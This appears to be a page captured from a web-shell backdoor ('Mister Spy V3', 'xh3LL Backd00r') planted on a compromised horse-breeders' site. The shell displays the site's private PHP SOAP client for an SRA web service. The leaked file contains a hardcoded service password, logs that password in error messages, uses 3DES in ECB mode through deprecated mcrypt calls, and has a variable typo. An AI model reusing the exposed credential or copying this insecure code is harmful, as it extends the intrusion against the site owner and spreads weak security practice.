Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.sraservice.php

<?php

require_once('class.logsws.php');

class SRAService {

	private $Test = false;
	private $Url;
	private $WsdlSeed;
	private $WsdlService;
	private $Password;
	private $Key;
	private $Log;

	public function __construct(LogsWS $log = null) {

		if ($this->Test) {
			$this->Url = 'http://servicios.sra.org.ar/webgatewaysratest/';
		} else  {
			$this->Url = 'http://servicios.sra.org.ar/webgatewaysra/';
		}

		$this->WsdlSeed = $this->Url . 'GWsra.asmx?WSDL';
		$this->WsdlService = $this->Url . 'ServiciosSRA.asmx?WSDL';


		if (!$log) {
			$this->Log = new LogsWS();
		} else {
			$this->Log = $log;
		}

		$this->Log->InitLog();

		$this->Password = 'zkVpF1cZt3A=';

	}

	public function Authenticate() {

		$result = false;

		$soap = new SoapClient($this->WsdlSeed, array('trace' => 1, 'exceptions' => true));

		// Set request params
		$params = array(
		  "sys" => $this->Password
		);

		$response = $soap->__soapCall("GetSeed", array($params));

		if ($response) {
			$result = $response->GetSeedResult->string;
		}

		if ($result && $result[1] == 'OK') {

			$this->Key = $response->GetSeedResult->string[0];

			$this->Log->AuthLog($this->Password, $this->Key, $soap->__getLastRequest(), $soap->__getLastResponse(), $this->WsdlSeed);

		} else {

			$this->Log->Error("Ha ocurrido un error al autenticar con el WS. Password: " . $this->Password, $soap->__getLastRequest(), $soap->__getLastResponse(), $this->WsdlSeed);

			throw new Exception("Ha ocurrido un error al autenticar con el WS", 1);
			
		}

	}

	private function EncryptData($message) {

    	$byte = mb_convert_encoding($this->Key, 'ASCII');
    	$desKey = md5(utf8_encode($byte), true);
    	$desKey .= substr($desKey, 0, 8);

    	$data = mb_convert_encoding($message, 'ASCII');

    	// add PKCS#7 padding
    	$blocksize = mcrypt_get_block_size('tripledes', 'ecb');
    	$paddingSize = $blocksize - (strlen($data) % $blocksize);
    	$data .= str_repeat(chr($paddingSize), $paddingSize);

    	
    	// encrypt password
    	$encData = mcrypt_encrypt('tripledes', $desKey, $data, 'ecb');

    	// echo base64_encode($encData) . '<br>' . $this->Decrypt(base64_encode($encData));
    	return base64_encode($encData);

	}

	private function DecryptData($data)
	{

	       //Generate a key from a hash
	       $key = md5(utf8_encode($this->Key), true);

	       //Take first 8 bytes of $key and append them to the end of $key.
	       $key .= substr($key, 0, 8);

	       $data = base64_decode($data);

	       $data = mcrypt_decrypt('tripledes', $key, $data, 'ecb');

	       $block = mcrypt_get_block_size('tripledes', 'ecb');
	       $len = strlen($data);
	       $pad = ord($data[$len-1]);

	       return substr($data, 0, strlen($data) - $pad);
	}

	private function GetMessage($startDate, $endDate) {

		$message = 'CR200|' . str_replace('-', '', $startDate) . '|' . str_replace('-', '', $endDate);
		
		$enc = $this->EncryptData($message);

		$this->Log->EncryptData($message, $this->Key, $enc);

		return $enc;

	}

	public function GetData($startDate = '', $endDate = '') {

		$result = false;

		$startDate = $startDate ? $startDate : date('Y-m-d');
		$endDate = $entDate ? $endDate : date('Y-m-d');

		$message = 'CRAS' . $this->GetMessage($startDate, $endDate);

		$soap = new SoapClient($this->WsdlService, array('trace' => 1, 'exceptions' => true));

		$params = array(
			'pedido' => urlencode($message)
		);

		$response = $soap->__soapCall("ServSRA", array($params));

		if ($response) {
			$result = $response->ServSRAResult->string;
		}

		if ($result && $result[1] == 'OK') {
			$this->Log->GetData($message, $startDate, $endDate, $soap->__getLastRequest(), $soap->__getLastResponse(), $this->WsdlService);

			return json_decode($result[0]);

		} else {

			$this->Log->Error("Ha ocurrido un error al autenticar con el WS. Password: " . $this->Password, $soap->__getLastRequest(), $soap->__getLastResponse(), $this->WsdlService);

		}

		return array();

	}

}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat